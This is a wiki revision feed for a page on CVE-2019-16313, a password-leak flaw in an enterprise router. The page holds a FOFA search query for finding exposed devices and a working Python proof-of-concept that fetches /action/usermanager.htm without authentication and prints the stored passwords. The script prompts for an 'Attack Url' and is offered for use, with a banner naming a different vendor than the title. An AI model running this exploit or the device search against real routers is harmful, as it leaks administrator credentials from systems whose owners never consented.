https://pwnwiki.com/index.php?action=history&feed=atom&title=CVE-2019-16313_%E8%9C%82%E7%B6%B2%E4%BA%92%E8%81%AF_%E4%BC%81%E6%A5%AD%E7%B4%9A%E8%B7%AF%E7%94%B1%E5%99%A8v4.31_%E5%AF%86%E7%A2%BC%E6%B4%A9%E9%9C%B2%E6%BC%8F%E6%B4%9E
CVE-2019-16313 蜂網互聯 企業級路由器v4.31 密碼洩露漏洞 - Revision history
2026-04-10T19:14:17Z
Revision history for this page on the wiki
MediaWiki 1.35.1
https://pwnwiki.com/index.php?title=CVE-2019-16313_%E8%9C%82%E7%B6%B2%E4%BA%92%E8%81%AF_%E4%BC%81%E6%A5%AD%E7%B4%9A%E8%B7%AF%E7%94%B1%E5%99%A8v4.31_%E5%AF%86%E7%A2%BC%E6%B4%A9%E9%9C%B2%E6%BC%8F%E6%B4%9E&diff=437&oldid=prev
Pwnwiki: Created page with "==FOFA== <pre> app="蜂网互联-互联企业级路由器" </pre> ==POC== <pre> import requests import sys import random import re from requests.packages.urllib3.exceptions i..."
2021-03-19T01:38:02Z
<p>Created page with "==FOFA== <pre> app="蜂网互联-互联企业级路由器" </pre> ==POC== <pre> import requests import sys import random import re from requests.packages.urllib3.exceptions i..."</p>
<p><b>New page</b></p><div>==FOFA==<br />
<pre><br />
app="蜂网互联-互联企业级路由器"<br />
</pre><br />
<br />
==POC==<br />
<pre><br />
import requests<br />
import sys<br />
import random<br />
import re<br />
from requests.packages.urllib3.exceptions import InsecureRequestWarning<br />
<br />
def title():<br />
print('+------------------------------------------')<br />
print('+ \033[34mPOC_Des: http://wiki.peiqi.tech \033[0m')<br />
print('+ \033[34mVersion: DrayTek企业网络设备 \033[0m')<br />
print('+ \033[36m使用格式: python3 poc.py \033[0m')<br />
print('+ \033[36mUrl >>> http://xxx.xxx.xxx.xxx \033[0m')<br />
print('+------------------------------------------')<br />
<br />
def POC_1(target_url):<br />
vuln_url = target_url + "/action/usermanager.htm"<br />
headers = {<br />
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",<br />
}<br />
try:<br />
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)<br />
response = requests.get(url=vuln_url, headers=headers, verify=False, timeout=5)<br />
print("\033[32m[o] 正在请求 {}/action/usermanager.htm \033[0m".format(target_url))<br />
if "pwd" in response.text and response.status_code == 200:<br />
print("\033[32m[o] 目标 {}存在漏洞 \033[0m".format(target_url))<br />
print("\033[32m[o] 响应为:\n{} \033[0m".format(response.text))<br />
else:<br />
print("\033[31m[x] 不存在漏洞 \033[0m")<br />
sys.exit(0)<br />
except Exception as e:<br />
print("\033[31m[x] 请求失败 \033[0m", e)<br />
sys.exit(0)<br />
<br />
<br />
<br />
if __name__ == '__main__':<br />
title()<br />
target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m"))<br />
POC_1(target_url)<br />
</pre></div>
Pwnwiki